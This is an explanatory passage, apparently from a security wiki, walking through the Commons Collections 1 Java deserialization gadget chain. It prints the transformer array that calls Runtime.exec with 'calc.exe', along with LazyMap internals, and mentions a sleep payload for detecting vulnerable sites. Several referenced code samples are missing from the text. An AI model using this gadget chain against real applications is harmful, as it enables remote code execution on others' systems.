If you don't know anything about java deserialization payloads could be difficult to figure out why this code will execute a calc.
First of all you need to know that a Transformer in Java is something that receives a class and transforms it to a different one.
Also it's interesting to know that the payload being executed here is equivalent to:
So, how is the first payload presented equivalent to those "simple" one-liners?
First of all, you can notice in the payload that a chain (array) of transforms are created:
String[] command = {"calc.exe"};finalTransformer[] transformers =newTransformer[]{//(1) - Get gadget Class (from Runtime class)newConstantTransformer(Runtime.class),//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"newInvokerTransformer("getMethod",newClass[]{ String.class,Class[].class},newObject[]{"getRuntime",newClass[0]} ),//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime oject newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,newObject[0]} ),//(4) - Use the Runtime object to call exec with arbitrary commandsnewInvokerTransformer("exec",newClass[]{String.class}, command )};ChainedTransformer chainedTransformer =newChainedTransformer(transformers);
If you read the code you will notice that if you somehow chains the transformation of the array you could be able to execute arbitrary commands.
In the last section of the payload you can see that a Map object is created. Then, the function decorate is executed from LazyMap with the map object and the chained transformers. From the following code you can see that this will cause the chained transformers to be copied inside lazyMap.factory attribute:
protectedLazyMap(Map map,Transformer factory) { super(map);if (factory ==null) {thrownewIllegalArgumentException("Factory must not be null"); }this.factory= factory;}
And then the great finale is executed: lazyMap.get("anything");
publicObjecttransform(Object object) {for (int i =0; i <iTransformers.length; i++) { object = iTransformers[i].transform(object); }return object;}
So, remember that inside factory we had saved chainedTransformer and inside of the transform function we are going through all those transformers chained and executing one after another. The funny thing, is that each transformer is using objectas input and object is the output from the last transformer executed. Therefore, all the transforms are chained executing the malicious payload.
Summary
At the end, due to how is lazyMap managing the chained transformers inside the get method, it's like if we were executing the following code:
Note that here it was explained the gadgets used for the ComonsCollections1 payload. But it's left how all this starts it's executing. You can see here that ysoserial, in order to execute this payload, uses an AnnotationInvocationHandler object because when this object gets deserialized, it will invoke the payload.get() function that will execute the whole payload.
Java Thread Sleep
This payload could be handy to identify if the web is vulnerable as it will execute a sleep if it is.